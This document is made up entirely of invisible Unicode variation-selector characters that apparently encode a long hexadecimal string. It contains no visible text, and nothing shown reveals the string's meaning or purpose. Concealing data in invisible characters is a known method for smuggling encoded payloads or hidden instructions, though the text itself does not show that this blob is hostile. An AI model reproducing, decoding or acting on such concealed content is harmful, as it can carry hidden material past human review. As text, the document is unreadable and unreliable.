󠅓󠄦󠄥󠅑󠅓󠄢󠄣󠄩󠅖󠄥󠄡󠄤󠄠󠄠󠅓󠄠󠅑󠄤󠄣󠅕󠅖󠄠󠅔󠄢󠄤󠅑󠄩󠄨󠄣󠄧󠅔󠅖󠄥󠄡󠄦󠄥󠄧󠅓󠅑󠄣󠄢󠅒󠄥󠅔󠄨󠄡󠄦󠄡󠄦󠅔󠄥󠄢󠄠󠅓󠅓󠄧󠄠󠄡󠅒󠅒󠄥󠅕󠄥󠄨󠄧󠄨󠄥󠅔󠄢󠄥󠄩󠄠󠅖󠄨󠄦󠅒󠅔󠄥󠄡󠅓󠅖󠄡󠄥󠄦󠄦󠄦󠅕󠅒󠄢󠅒󠄦󠄢󠅖󠅑󠅑󠅕󠄤󠅑󠄤󠅑󠄥󠅖󠄣󠅖󠄢󠅖󠄡󠄢󠄣󠅕󠅕󠄨󠅑󠄩󠅒󠄥󠄨󠅒󠄡󠄥󠅕󠄦󠄨󠅑󠄩󠅑󠄧󠄣󠄠󠄠󠅖󠅑󠅓󠄥󠄧󠅕󠄠󠄠󠅒󠄥󠄡󠄢󠄧󠅓󠄣󠄣󠄠󠄨󠄤󠄧󠄨󠅕󠅑󠄣󠄡󠄤󠄡󠄧󠄤󠄢󠅑󠅓󠄡󠄠󠅔󠅒󠅖󠄠󠅖󠄡󠅖󠄦󠅒󠄤󠅒󠄧󠅒󠅒󠅒󠄠󠄢󠄠󠄦󠅒󠄥󠄢󠄡󠅒󠄢󠅓󠄥󠄩󠅓󠄣󠅒󠅑󠄠󠅖󠅒󠄠󠅕󠅕󠅕󠄦󠄡󠄣󠄣󠅒󠅓󠅔󠅓󠄩󠅖󠅒󠄠󠄡󠅒󠅑󠅑󠅖󠄩󠄧󠄦󠄠󠄦󠄣󠄧󠄥󠄢󠄦󠄧󠄤󠄢󠄤󠅖󠄩󠅔󠄧󠄤󠄤󠄦󠅑󠄨󠄢󠄤󠄠󠄨󠄩󠅑󠄤󠅔󠅖󠄢󠄡󠄨󠅓󠅒󠅖󠄠󠄡󠅑󠄣󠄧󠄥󠄡󠄨󠅔󠄡󠅔󠄧󠄣󠄢󠅓󠅒󠄤󠅒󠅑󠅓󠄤󠄧󠄣󠅓󠅓󠄠󠅔󠄡󠄡󠄠󠄡󠄧󠄧󠅕󠄢󠅔󠅖󠄤󠅓󠄥󠅕󠅔󠅕󠄦󠅒󠄤󠅕󠅕󠄤󠄠󠄠󠄡󠅔󠄢󠄧󠄧󠅔󠄨󠄠󠅖󠅒󠄦󠄦󠅒󠄩󠅒󠄦󠄤󠄣󠅑󠄩󠅕󠄩󠄥󠄣󠅔󠅖󠅒󠅔󠄦󠄠󠅒󠅑󠄤󠄧󠅑󠅔󠅕󠅕󠄢󠄧󠄥󠄤󠄥󠄨󠄢󠄦󠅒󠄣󠄩󠄧󠄣󠅔󠄦󠄩󠄣󠄨󠄤󠄡󠅕󠄩󠅔󠄦󠄡󠄩󠄥󠅕󠅔󠅕󠄥󠅔󠄡󠄦󠅕󠄨󠅓󠄩󠄤󠅒󠄨󠅖󠄠󠄧󠄣󠄣󠄨󠄩󠄡󠅕󠅔󠅖󠄥󠅑󠄡󠄤󠅑󠄨󠅖󠅒󠅑󠄦󠄡󠄨󠄡󠅔󠄤󠄥󠅒󠅒󠄨󠄦󠅒󠄨󠄩󠄣󠄢󠄦󠄩󠅖󠅓󠄣󠄧󠄠󠄡󠅕󠅖󠄡󠄦󠄠󠄨󠅑󠅑󠄩󠅒󠅔󠄠󠅕󠄡󠅔󠅒󠄩󠅓󠄥󠄨󠄩󠄥󠄣󠄠󠅒󠄣󠄣󠄢󠅕󠄩󠄣󠄣󠅑󠅑󠄨󠅖󠄡󠄩󠄦󠅖󠅑󠅒󠄠󠄠󠄡󠅓󠅒󠄠󠅒󠄡󠄨󠄥󠅕󠄡󠄡󠄠󠄩󠄦󠄥󠄣󠅒󠅒󠄧󠄩󠄦󠄩󠄦󠅕󠄠󠄩󠄩󠄩󠅒󠄨󠄧󠄩󠄥󠅖󠅕󠄥󠅔󠅔󠅓󠄨󠄡󠅒󠅒󠄧󠄥󠄤󠄤󠅑󠄠󠅒󠄩󠄧󠄢󠄢󠄩󠅕󠅒󠅓󠄥󠄩󠄥󠄢󠄩󠅓󠅖󠅒󠄠󠄢󠄣󠄩󠄢󠅓󠅒󠅕󠄢󠄣󠄥󠅖󠅓󠄠󠅑󠄦󠄥󠄤󠄥󠄩󠅑󠄡󠅒󠄠󠄨󠅕󠅖󠅕󠄩󠅒󠄧󠄤󠅖󠄦󠄦󠄥󠅑󠅔󠅖󠄢󠅕󠅔󠄣󠄦󠄩󠄠󠅔󠅑󠅓󠅑󠄢󠅑󠄣󠅕󠅖󠅔󠄥󠅔󠄠󠄩󠅔󠄩󠅓󠄨󠄡󠄨󠅓󠅕󠅑󠅖󠅖󠄤󠅒󠄥󠅖󠄡󠄤󠄦󠄡󠄢󠅕󠄠󠄠󠅔󠄡󠅑󠄢󠄤󠄧󠄡󠄡󠅕󠄡󠄥󠅓󠄣󠅑󠅕󠅓󠄡󠄠󠄣󠄤󠄢󠅕󠅒󠄦󠄡󠄤󠅔󠅖󠄥󠄠󠄠󠅖󠄦󠄢󠄡󠄦󠄧󠄧󠄠󠄣󠅖󠅖󠅔󠅖󠄦󠅕󠄥󠅒󠅑󠄠󠅑󠅔󠅔󠄣󠅒󠅒󠄣󠅓󠄧󠄨󠄡󠄨󠅔󠅓󠄣󠄨󠄨󠄧󠄤󠅔󠄠󠅑󠄧󠄨󠄣󠅕󠅕󠄡󠅕󠅑󠄧󠅖󠄣󠅓󠄢󠅒󠅒󠅑󠄠󠄩󠄩󠅔󠅓󠄧󠄡󠅔󠄦󠄧󠄣󠄡󠅔󠄩󠅔󠄦󠅖󠅓󠅓󠄢󠅒󠄦󠅒󠅓󠄧󠅓󠄢󠄧󠄩󠅓󠄨󠅓󠄩󠅑󠅔󠄦󠅔󠄥󠅒󠅑󠄥󠅒󠄠󠄧󠄨󠅑󠅔󠅑󠄩󠄨󠄧󠄡󠅑󠄥󠄣󠄩󠅔󠄣󠅖󠄩󠄥󠅕󠅑󠄠󠅕󠅖󠅔󠅒󠄤󠄩󠄨󠅕󠄡󠄩󠄩󠄢󠅑󠅑󠄡󠅕󠄦󠄡󠅓󠄩󠅔󠅔󠄠󠄤󠅓󠄡󠄨󠄦󠄧󠄤󠄦󠄨󠅖󠄥󠄨󠄠󠄤󠄠󠄧󠄠󠄤󠅑󠅔󠅖󠄥󠅖󠄢󠄥󠄤󠅓󠄨󠄡󠅓󠅔󠄨󠄥󠄩󠄩󠄡󠅕󠄩󠄥󠄦󠄧󠄡󠄧󠄣󠄩󠄡󠄢󠅑󠄩󠄧󠄨󠄠󠄥󠅖󠅒󠄠󠄠󠄣󠄣󠄦󠅕󠄩󠄢󠄠󠅓󠄧󠄦󠄧󠄧󠅑󠄧󠄥󠄣󠅖󠅕󠄧󠄨󠄧󠅑󠄠󠄦󠄧󠄡󠄩󠅓󠄡󠅒󠄦󠅕󠄧󠄩󠄢󠄥󠅔󠄤󠅕󠄣󠅒󠄧󠄥󠄡󠄩󠅑󠄣󠄩󠅑󠅓󠅕󠄣󠄣󠄤󠄧󠄡󠄠󠅕󠅒󠅓󠅓󠄩󠅔󠄥󠄡󠄣󠄣󠅖󠄥󠄤󠄥󠄨󠅑󠄨󠄢󠄡󠄧󠄡󠄦󠄦󠅖󠄧󠄥󠄣󠄦󠄨󠄨󠄢󠄣󠄣󠄤󠄩󠅑󠄤󠄦󠄦󠄡󠄩󠄥󠅕󠅕󠄡󠄧󠄩󠅓󠅔󠅒󠄤󠄨󠄥󠄩󠄨󠄤󠅑󠅑󠅒󠄧󠄣󠄠󠄡󠄦󠄢󠅕󠄦󠅔󠄢󠄨󠅒󠅓󠅓󠄨󠄧󠅑󠄣󠅒󠄠󠅒󠄢󠄣󠅒󠅕󠄢󠅒󠄠󠅓󠅖󠄡󠄠󠄦󠄦󠅑󠄢󠄡󠅔󠄢󠄨󠄦󠅖󠄥󠅔󠄢󠄡󠅕󠅓󠄣󠄦󠄣󠄦󠅕󠄢󠅕󠄣󠄧󠅕󠅔󠅑󠅒󠅖󠄩󠄡󠄩󠅓󠄩󠄤󠅑󠄢󠄠󠄡󠄣󠅕󠄨󠄦󠄠󠄤󠅑󠄤󠅑󠄣󠄤󠅔󠅑󠅓󠅕󠄨󠅓󠄥󠄩󠅔󠄩󠄠󠅓󠄤󠄠󠄠󠄢󠄧󠄨󠄤󠄠󠄩󠅓󠄣󠄩󠅕󠅑󠄧󠄨󠄦󠅑󠄠󠄧󠄧󠄨󠅕󠅔󠄨󠅔󠅖󠄣󠅒󠅔󠄡󠄥󠅒󠄠󠄡󠅑󠄡󠄦󠅕󠄦󠄡󠅒󠄦󠅑󠅖󠄢󠄣󠄣󠅕󠄥󠅔󠅒󠅖󠅒󠄧󠄡󠄣󠄡󠅔󠄩󠄤󠅑󠅖󠄩󠄤󠄨󠅕󠄧󠄠󠄡󠅖󠅖󠄨󠅔󠄤󠄤󠄦󠄢󠅔󠅑󠅖󠅓󠄠󠄡󠄤󠅕󠄨󠄨󠄢󠄥󠄩󠄣󠅑󠄡󠄡󠄩󠄢󠄣󠄡󠄤󠄢󠄧󠄢󠄠󠅒󠄣󠅑󠄢󠅓󠄦󠄣󠄥󠄠󠄧󠅕󠅔󠅒󠄨󠄠󠅑󠄢󠄦󠄦󠅖󠅔󠅓󠄩󠄩󠄤󠄧󠅒󠄧󠄨󠄢󠅖󠄧󠄨󠄥󠄩󠄢󠅑󠅔󠅖󠄠󠄡󠄦󠅖󠄦󠄨󠄦󠅓󠅖󠅖󠄡󠄡󠅓󠅓󠄣󠅒󠄤󠄦󠄢󠅓󠅑󠄢󠅑󠅑󠄦󠅑󠅓󠄢󠅖󠅖󠅔󠄥󠅓󠄨󠅔󠄡󠄡󠅓󠄤󠅓󠄣󠅕󠄡󠄤󠄨󠄤󠄣󠄣󠄠󠅑󠄧󠄦󠄤󠄦󠄦󠄡󠅔󠅓󠄠󠅑󠅔󠅖󠄤󠅔󠄣󠄠󠄧󠄧󠄡󠅓󠄠󠄤󠄥󠄢󠄩󠄩󠄨󠄢󠄦󠄦󠅔󠄩󠅖󠅒󠄡󠄥󠅒󠄢󠄧󠄢󠄨󠅒󠄦󠅔󠅒󠄢󠄤󠅕󠅕󠄤󠄢󠅓󠄤󠄧󠄥󠄨󠄠󠅖󠄩󠄠󠅔󠄨󠄣󠅔󠅓󠄠󠅖󠄢󠅓󠅕󠄨󠄠󠅑󠄤󠅑󠄤󠄢󠅑󠅖󠄨󠄠󠅖󠄡󠄤󠄡󠄨󠄡󠄥󠅔󠄣󠄨󠄣󠅓󠄡󠄢󠅖󠄧󠄡󠄤󠅔󠅒󠅓󠅑󠅖󠄩󠅔󠅑󠄨󠅒󠄣󠅓󠅕󠄣󠅓󠄡󠅕󠄨󠅑󠄨󠅖󠄧󠄦󠄢󠄣󠄡󠅖󠄡󠅑󠅒󠅕󠄡󠄦󠅔󠅓󠄦󠄦󠄨󠅓󠄩󠄩󠄠󠄧󠅔󠅕󠄩󠄥󠅒󠄦󠅑󠄦󠅓󠄣󠄠󠄨󠄡󠄤󠄢󠅖󠄣󠄦󠄢󠅕󠄤󠄥󠅔󠅓󠄤󠄩󠅕󠄤󠄩󠄨󠄥󠅖󠄢󠅖󠅑󠄡󠅕󠅔󠅔󠄩󠄦󠄧󠄡󠅔󠄤󠄢󠄢󠄧󠄠󠄢󠄠󠅑󠄧󠄥󠅒󠅖󠅔󠅔󠄦󠄧󠄠󠄥󠄡󠅕󠄩󠄩󠅓󠄩󠄣󠄦󠅒󠄢󠅒󠅕󠄨󠄩󠅒󠅖󠄦󠅓󠅔󠄢󠅓󠅒󠄥󠅒󠄠󠄤󠅑󠄢󠄦󠅖󠄩󠅕󠅓󠅕󠄩󠄣󠄢󠄡󠅓󠅓󠅑󠅕󠄠󠄠󠅖󠄣󠅔󠄨󠅑󠄡󠅑󠄨󠄧󠄠󠄦󠅒󠄦󠄤󠄥󠄨󠅑󠅖󠄡󠄢󠅓󠄥󠄣󠅒󠄥󠄢󠄦󠅑󠅑󠄧󠄥󠄤󠄤󠄤󠄢󠄡󠅔󠄡󠅑󠄣󠅖󠄥󠅖󠄢󠄦󠅑󠅑󠄥󠅓󠅒󠄥󠄦󠄨󠄡󠅑󠄡󠅔󠅒󠄥󠅑󠅓󠄢󠄤󠄨󠅑󠄩󠄧󠄡󠄧󠄨󠄥󠄧󠄠󠅔󠅑󠅕󠄩󠄣󠅑󠅕󠄩󠄠󠄠󠄥󠄧󠅔󠄢󠅓󠅓󠅖󠅔󠅓󠄠󠄢󠄧󠅑󠅑󠄡󠄧󠅔󠄣󠅕󠅔󠅖󠄡󠄤󠄤󠅔󠄣󠄢󠅔󠄠󠅕󠄤󠄣󠅖󠄤󠄥󠄢󠄠󠄠󠄠󠄣󠅖󠄢󠅔󠅑󠄥󠄤󠄨󠄨󠄠󠄢󠅔󠅔󠄧󠅒󠅓󠅔󠄢󠄢󠅖󠄧󠄤󠅓󠅕󠄢󠅓󠅓󠅓󠅓󠄡󠄢󠄠󠄡󠄤󠄢󠅕󠄡󠅖󠅒󠅕󠄠󠄡󠄩󠄧󠄤󠄥󠄥󠅑󠅒󠅕󠄨󠄠󠅕󠄦󠄦󠅓󠅑󠅑󠄠󠅑󠄢󠄧󠄠󠅓󠄢󠄨󠄨󠄤󠄡󠄥󠄥󠅒󠄤󠄦󠄠󠄦󠅒󠄢󠅒󠄥󠄥󠄤󠄩󠄨󠅑󠄤󠄡󠅕󠅕󠄣󠅕󠄩󠅕󠄨󠄢󠄧󠄥󠄩󠅖󠄧󠄡󠅖󠅔󠄡󠄡󠄤󠄩󠄧󠄢󠄧󠄣󠄥󠅑󠄥󠅔󠅖󠅒󠄦󠅖󠄠󠅒󠅓󠄡󠄦󠄩󠄦󠄥󠅖󠅕󠄨󠅕󠄣󠅑󠄩󠄠󠄥󠄠󠅓󠅓󠄩󠄨󠅕󠄠󠄢󠄨󠄨󠅒󠄨󠄡󠅕󠅔󠄦󠄧󠅑󠅑󠄣󠅒󠄧󠅖󠅖󠅖󠄤󠅕󠄡󠅓󠄦󠄧󠅑󠄩󠄢󠄨󠅒󠅖󠅑󠄧󠅕󠅖󠄡󠅑󠄧󠄢󠄣󠅖󠅓󠄢󠄡󠄥󠅖󠄧󠄢󠅑󠄢󠄣󠄡󠅖󠅑󠄥󠄥󠄩󠅔󠄧󠄦󠄨󠅑󠄥󠅓󠄥󠄢󠅖󠄩󠄠󠅑󠄠󠄧󠄠󠄠󠅒󠄡󠄡󠄡󠄡󠅔󠅑󠅔󠄥󠄣󠅑󠅔󠄦󠄤󠄥󠄩󠅑󠅔󠅕󠅖󠄢󠄣󠄩󠄣󠅕󠄤󠅒󠅕󠄠󠄧󠅑󠄨󠄤󠄢󠄠󠅖󠅓󠄢󠄢󠄢󠄥󠅒󠅑󠄠󠄡󠅓󠅖󠄣󠄤󠄤󠅕󠄦󠄨󠅑󠄦󠄩󠅖󠄨󠅔󠅔󠄩󠅕󠄤󠄩󠅕󠄤󠅓󠄥󠄣󠅖󠅒󠄡󠄣󠄩󠄡󠅒󠄩󠄤󠅓󠅕󠅑󠄡󠄤󠄨󠅒󠄢󠅒󠅕󠅓󠅒󠅕󠄧󠄨󠄡󠄨󠄩󠅕󠄠󠅓󠄠󠄦󠄩󠅖󠄧󠄥󠅕󠄢󠅒󠄣󠄤󠄤󠄧󠅓󠄡󠅔󠄤󠄠󠅒󠄧󠄥󠄧󠄦󠄡󠄠󠄠󠄡󠅒󠅕󠄤󠅒󠅑󠄦󠅔󠄥󠅑󠄤󠄧󠄠󠄨󠅑󠄤󠄡󠄩󠄦󠄡󠄥󠄧󠄧󠄨󠄤󠅑󠄦󠄥󠄩󠄣󠄢󠅓󠄨󠄣󠅕󠄨󠅒󠄥󠅖󠄠󠅒󠄧󠅓󠄢󠅑󠄤󠅑󠅓󠄧󠅔󠄨󠄦󠄠󠄢󠄡󠄩󠄠󠄨󠅕󠅕󠅒󠄧󠅑󠅑󠅓󠅓󠄤󠄨󠄡󠅒󠅕󠄥󠄡󠄠󠅔󠄥󠄨󠅑󠄣󠄢󠄡󠄡󠄥󠅑󠅖󠅕󠅑󠄣󠄧󠅖󠄢󠄢󠄡󠄩󠅓󠅖󠅑󠅒󠄧󠅒󠅖󠅖󠄩󠄢󠄥󠄤󠅖󠄢󠄣󠄦󠄡󠄥󠄣󠄧󠄦󠄧󠄡󠄠󠄦󠄨󠅒󠄢󠄩󠄣󠄥󠅑󠄣󠄦󠄤󠅔󠄨󠅔󠅓󠄩󠄧󠅒󠅕󠅕󠄩󠄣󠄡󠄤󠅖󠅔󠅑󠄢󠅓󠅔󠅓󠄥󠅖󠅒󠄨󠄥󠄥󠄡󠄤󠄡󠅔󠄣󠄩󠄨󠅒󠅔󠄨󠅓󠄡󠅒󠅓󠅓󠄥󠅓󠅕󠅖󠄣󠄠󠄦󠄦󠄩󠄨󠄥󠅖󠄧󠅕󠄦󠄣󠄦󠄧󠄡󠅖󠄣󠄢󠄧󠄧󠄦󠄧󠄢󠄧󠅒󠄤󠄣󠄥󠄤󠅓󠅓󠅕󠅒󠄢󠅕󠄨󠅑󠅒󠄦󠄠󠄤󠄦󠄢󠅓󠅔󠄤󠅓󠄥󠅑󠄦󠄧󠅕󠅔󠅔󠄠󠄦󠄥󠅕󠄦󠅓󠄨󠅔󠄣󠄨󠄩󠄨󠄦󠄣󠄧󠅔󠄠󠄨󠄠󠅒󠅔󠅒󠅓󠅖󠄦󠄠󠄤󠄥󠅖󠅔󠄠󠄣󠄩󠄦󠄩󠄡󠄥󠄧󠄨󠅑󠄤󠅓󠅕󠅖󠄠󠄥󠄧󠄢󠄡󠄠󠄤󠅖󠅓󠄦󠄥󠄢󠅕󠅕󠄣󠄨󠅑󠄠󠅓󠄩󠄣󠅑󠅒󠄨󠄧󠅑󠄠󠄧󠅓󠅔󠄥󠄤󠅑󠅒󠅓󠅔󠅓󠅑󠅒󠄥󠄠󠄧󠄠󠅑󠅖󠄤󠄩󠄩󠅒󠅕󠅔󠅑󠄠󠅑󠅔󠅓󠄠󠄥󠄨󠄨󠄧󠄥󠄧󠅑󠅒󠄡󠅕󠅒󠄥󠅖󠅖󠄩󠅓󠄠󠅕󠅒󠄩󠅑󠄡󠄡󠅒󠅒󠄩󠄥󠄥󠅖󠅑󠅓󠄥󠄡󠅒󠄦󠄨󠅖󠄥󠅖󠄣󠅕󠄧󠄦󠅒󠄩󠅖󠄧󠄧󠅖󠄨󠄧󠅕󠄧󠅒󠅓󠄡󠄠󠄠󠄩󠄩󠄥󠄨󠅖󠅑󠄧󠄠󠅕󠄠󠅑󠅔󠅖󠅓󠅒󠄩󠄧󠅕󠅓󠅔󠅓󠄨󠄧󠅒󠄦󠅒󠄠󠄦󠄨󠅑󠄡󠅓󠄨󠄢󠄩󠅕󠄩󠄠󠅔󠅔󠅔󠅓󠅑󠄩󠅔󠅖󠅔󠄨󠅔󠅔󠅒󠄡󠅕󠅖󠄡󠅓󠅑󠄦󠄩󠅕󠄧󠅖󠅓󠅑󠄨󠄧󠅑󠅕󠄩󠅕󠄠󠄠󠅒󠄠󠄨󠄦󠅖󠅕󠅓󠅖󠅑󠅖󠄨󠄩󠄧󠄣󠄡󠄢󠄠󠄥󠄨󠄣󠄢󠄡󠅕󠄡󠄢󠅕󠄢󠄤󠄧󠄤󠄧󠅖󠅒󠅖󠄣󠄦󠄤󠄧󠅓󠄡󠅕󠅕󠅔󠄨󠄡󠄠󠅕󠄡󠄡󠅕󠅔󠅒󠅑󠄢󠄥󠄡󠅔󠅓󠅓󠄣󠄨󠄧󠄤󠄨󠅕󠅑󠄣󠅖󠄢󠅒󠄧󠄤󠄨󠅒󠅑󠄤󠄠󠅕󠅔󠅔󠄥󠅑󠄥󠄢󠅖󠄡󠅖󠄡󠅕󠄤󠄩󠄦󠄢󠅓󠄥󠄨󠄡󠄤󠅔󠅔󠄠󠅕󠅑󠅑󠄤󠄠󠅖󠅕󠄢󠄧󠄢󠄠󠄣󠄨󠅖󠄧󠄩󠄩󠅑󠄢󠄨󠅓󠅕󠄨󠅖󠄨󠄢󠄧󠄦󠄠󠅒󠅖󠄤󠅒󠄩󠄢󠅕󠅓󠅕󠅑󠅒󠅓󠄥󠄤󠅒󠄦󠄧󠄦󠄤󠅖󠄥󠅕󠄦󠅖󠅕󠄠󠅔󠄢󠄧󠅑󠄡󠄢󠄡󠄤󠅓󠅔󠅔󠅓󠄤󠅔󠅖󠄤󠄦󠄩󠄣󠅕󠄧󠄡󠄨󠅑󠄣󠄢󠅑󠅓󠄣󠄩󠅔󠅕󠅕󠅒󠄢󠅔󠅑󠅔󠄩󠅑󠄧󠅕󠄡󠄦󠅖󠄤󠅒󠅕󠅔󠅓󠄢󠄩󠄥󠅑󠄥󠄤󠄣󠅔󠄡󠄠󠄡󠄣󠄥󠄡󠅑󠄨󠄨󠅒󠄧󠄩󠅔󠄨󠅑󠅓󠅓󠄡󠄣󠄩󠄡󠅕󠄡󠅖󠅕󠅖󠄣󠄡󠄩󠄦󠅒󠅒󠄤󠅔󠄦󠅖󠄠󠅒󠄩󠅑󠅖󠅕󠄥󠅒󠄠󠄣󠄠󠄨󠄤󠄥󠄢󠄦󠄩󠅖󠅒󠄩󠅕󠅖󠅕󠅕󠅑󠅕󠄡󠄣󠄥󠄣󠄧󠄡󠅕󠄡󠄩󠅒󠄨󠅖󠅖󠄥󠄨󠄨󠄢󠄤󠅖󠄠󠄧󠅔󠅓󠄣󠄠󠄨󠄣󠄧󠅔󠄨󠄧󠅕󠅒󠄢󠅖󠅔󠄠󠄡󠄨󠄨󠄨󠅑󠄩󠅒󠄦󠅕󠄨󠅒󠅓󠅑󠄠󠅖󠅒󠅔󠄡󠄢󠄩󠅓󠄨󠄥󠅑󠄥󠅕󠄥󠅑󠅓󠅑󠄩󠅖󠅑󠄣󠅒󠄦󠄣󠄥󠅕󠄦󠄩󠄧󠄦󠄨󠅖󠅕󠄩󠅕󠅔󠅓󠄠󠅔󠄧󠄥󠄩󠄣󠄡󠅕󠄣󠄩󠅕󠅕󠄡󠄥󠅑󠄨󠄥󠅔󠅒󠅔󠄧󠅖󠄢󠅓󠄨󠄣󠅔󠄨󠄩󠅑󠄦󠄡󠅕󠄢󠅖󠄩󠄡󠅑󠅕󠄡󠅕󠄧󠅕󠅔󠅒󠄧󠄩󠄩󠄡󠄩󠄤󠅑󠄦󠅒󠅕󠅕󠄨󠅓󠄡󠄣󠄩󠅕󠅒󠅖󠄥󠄩󠅒󠅔󠅑󠄩󠄨󠄦󠄥󠄧󠄤󠄨󠅒󠄦󠄡󠅒󠄠󠄧󠄩󠄢󠄢󠅒󠄠󠅓󠅒󠄢󠄩󠄨󠄨󠄥󠄥󠄤󠅖󠄨󠄣󠅒󠅕󠅓󠄦󠅖󠅖󠄣󠄠󠅕󠄥󠅒󠅔󠅖󠄡󠄢󠄨󠄨󠅑󠄩󠄨󠄢󠅕󠅓󠅓󠄣󠄦󠄨󠄡󠄠󠄥󠄨󠄠󠄢󠄨󠅓󠄣󠄥󠄡󠄥󠄠󠄢󠄧󠅔󠄦󠄣󠅑󠅑󠄤󠅓󠄩󠄥󠄤󠄦󠄡󠅖󠄣󠄤󠄢󠄥󠄠󠄥󠄥󠅕󠄦󠅓󠅑󠄨󠄠󠄠󠄠󠄧󠄤󠄥󠄣󠅑󠅕󠅔󠄡󠄣󠅔󠅓󠄤󠅔󠅖󠄣󠅕󠄨󠄥󠄢󠅑󠅑󠅓󠅑󠅒󠄥󠅔󠄡󠄧󠄩󠅒󠄢󠄢󠅖󠄧󠅔󠄤󠄧󠅕󠄩󠄥󠄣󠄢󠄦󠄧󠄦󠄦󠅓󠄨󠅓󠄣󠄠󠄡󠅔󠄥󠅖󠄥󠄩󠄦󠅖󠄣󠄤󠅓󠄨󠅓󠅑󠄦󠄨󠅔󠄤󠅖󠅕󠅔󠄩󠅔󠄦󠄧󠄢󠄥󠄢󠅕󠄩󠄧󠄣󠅖󠅖󠄩󠅒󠄨󠄤󠄣󠅓󠄠󠄠󠄡󠄨󠄣󠄥󠄨󠄦󠅕󠅑󠄤󠅕󠅔󠅕󠅕󠄤󠅓󠄡󠅑󠄧󠄧󠄤󠄤󠅖󠅒󠄧󠄡󠄧󠅓󠄢󠄧󠄧󠄠󠄩󠄢󠄣󠄡󠄢󠅕󠄢󠄧󠅕󠄡󠄥󠄧󠅔󠄤󠅓󠄠󠄠󠅖󠄤󠅖󠄥󠄠󠄧󠄡󠄤󠄩󠄩󠅕󠄡󠄥󠄨󠄦󠅕󠄣󠄣󠄨󠅖󠄧󠄩󠄩󠅑󠄥󠄩󠅕󠄢󠄢󠄠󠄢󠅖󠄠󠄣󠄥󠄠󠅑󠄢󠅖󠄡󠄥󠅕󠅓󠄧󠄢󠄣󠅔󠅖󠄤󠄣󠄥󠄨󠅖󠄥󠄦󠅓󠅑󠄣󠅓󠄢󠄠󠄨󠅒󠅔󠅑󠄥󠄧󠅕󠅓󠄥󠄦󠅓󠄨󠄡󠄧󠅒󠄠󠄡󠄣󠄩󠄨󠄨󠄡󠄢󠅓󠅒󠄠󠅒󠅔󠄨󠄥󠄡󠄩󠄣󠅕󠄤󠅑󠄣󠄥󠅒󠅓󠅒󠅖󠅖󠄨󠄩󠄢󠄢󠄤󠅒󠄨󠄡󠄡󠅖󠄤󠄠󠄥󠅕󠅕󠅕󠄩󠄦󠅒󠅑󠄡󠄦󠄠󠄩󠄣󠅑󠅑󠅖󠄠󠄥󠄨󠄠󠄣󠄣󠄢󠄤󠄦󠄣󠅔󠅑󠄨󠄢󠅔󠄧󠅑󠅔󠄦󠅔󠄠󠅑󠄤󠄢󠅒󠄠󠄤󠄦󠄨󠅖󠅒󠄠󠄥󠄢󠅑󠄨󠄡󠄠󠄣󠄥󠅕󠄣󠅓󠄦󠅕󠄥󠄦󠄠󠅕󠄧󠄧󠄥󠅔󠅖󠄡󠅑󠄠󠅒󠅖󠅖󠄣󠄢󠅕󠅒󠄨󠅑󠄩󠄢󠄦󠄤󠅑󠄢󠄢󠄣󠅖󠄧󠄢󠄥󠄣󠄥󠄧󠄥󠅔󠄨󠅔󠄦󠄨󠄩󠄡󠄧󠄡󠄢󠄡󠄣󠄥󠄡󠄤󠄨󠄩󠅔󠅕󠄦󠅒󠅓󠄠󠄢󠄡󠄣󠄥󠄡󠄢󠄥󠅒󠅖󠄩󠄡󠅒󠄠󠅓󠄡󠄦󠄦󠅓󠄩󠅕󠅓󠅕󠄠󠄦󠄡󠄡󠅑󠅕󠄣󠅒󠅑󠄣󠅕󠄠󠄡󠅒󠄥󠄦󠄡󠄦󠅓󠄤󠅓󠄠󠅒󠄣󠄨󠄨󠄠󠄩󠄥󠄥󠅔󠅕󠄥󠄠󠄦󠄩󠅓󠅓󠄥󠄢󠄧󠅖󠄡󠄡󠄩󠄡󠄩󠄧󠅓󠅔󠄧󠄥󠅓󠄩󠅒󠄨󠄡󠅒󠅑󠅕󠄨󠄤󠄨󠄣󠅑󠄥󠅕󠄧󠄡󠄣󠄡󠅒󠄠󠄥󠅕󠅖󠅓󠄥󠄥󠄤󠄧󠄥󠅒󠄦󠅖󠄣󠄦󠄨󠅕󠅓󠄥󠄩󠄣󠄦󠅕󠄢󠄧󠄦󠄨󠅔󠅑󠄡󠅓󠅒󠅑󠄦󠅑󠅕󠄧󠄠󠄠󠅕󠄣󠅕󠄩󠄨󠅑󠅔󠅕󠅑󠅕󠅓󠄠󠄥󠅒󠄧󠄢󠅔󠄩󠄠󠄡󠅕󠅓󠅖󠅒󠅖󠄢󠅖󠄨󠄩󠅑󠅕󠄡󠄦󠄧󠄤󠅓󠄧󠅓󠄢󠄡󠅒󠄥󠄢󠄣󠄢󠅖󠅔󠅖󠅒󠄩󠅖󠅔󠄨󠄠󠄥󠄥󠄧󠄡󠅒󠄨󠄧󠄢󠅓󠅒󠄨󠄢󠄩󠄧󠄧󠅓󠅕󠄤󠅒󠄧󠄩󠄦󠄢󠅖󠄩󠄡󠅖󠄦󠄢󠅔󠅔󠄥󠄠󠅔󠅕󠄠󠄢󠅓󠄩󠄡󠄣󠄠󠄤󠄤󠅕󠄥󠄩󠅑󠄤󠄦󠅑󠅖󠄡󠄤󠄨󠄡󠄡󠅖󠅑󠅑󠄡󠄧󠄥󠅓󠄥󠄡󠄡󠄥󠅖󠄩󠅑󠄠󠄣󠅖󠅕󠅓󠄧󠄠󠅖󠅒󠄤󠅕󠄤󠄥󠄨󠄧󠄢󠄩󠄨󠅖󠅕󠄦󠄥󠄦󠄩󠄤󠄢󠄥󠄦󠅔󠄨󠅓󠅒󠄡󠄩󠅓󠅑󠄦󠅑󠄤󠅓󠅓󠅓󠄤󠄥󠅒󠅓󠄩󠅖󠅒󠅑󠄤󠄣󠅖󠅓󠄣󠄢󠄣󠄢󠄢󠅖󠅔󠅓󠄥󠅑󠄩󠅔󠅓󠅔󠄦󠄧󠄩󠄤󠅒󠄥󠄡󠄤󠅑󠅑󠄣󠅖󠅕󠅒󠄡󠅓󠄨󠅑󠄠󠄧󠄩󠄥󠄨󠄤󠅕󠅔󠄦󠄠󠄤󠅓󠄧󠄣󠄤󠅑󠅕󠄩󠅑󠅔󠅖󠅒󠄥󠅔󠅓󠅕󠄣󠅓󠄦󠄦󠄩󠅑󠅒󠄧󠄢󠅔󠅕󠄢󠅕󠄥󠄢󠅑󠅓󠄤󠄩󠄣󠄤󠄩󠅕󠅒󠄩󠅖󠄨󠅓󠄦󠄡󠅒󠄦󠄡󠅑󠅔󠅕󠅓󠅖󠄧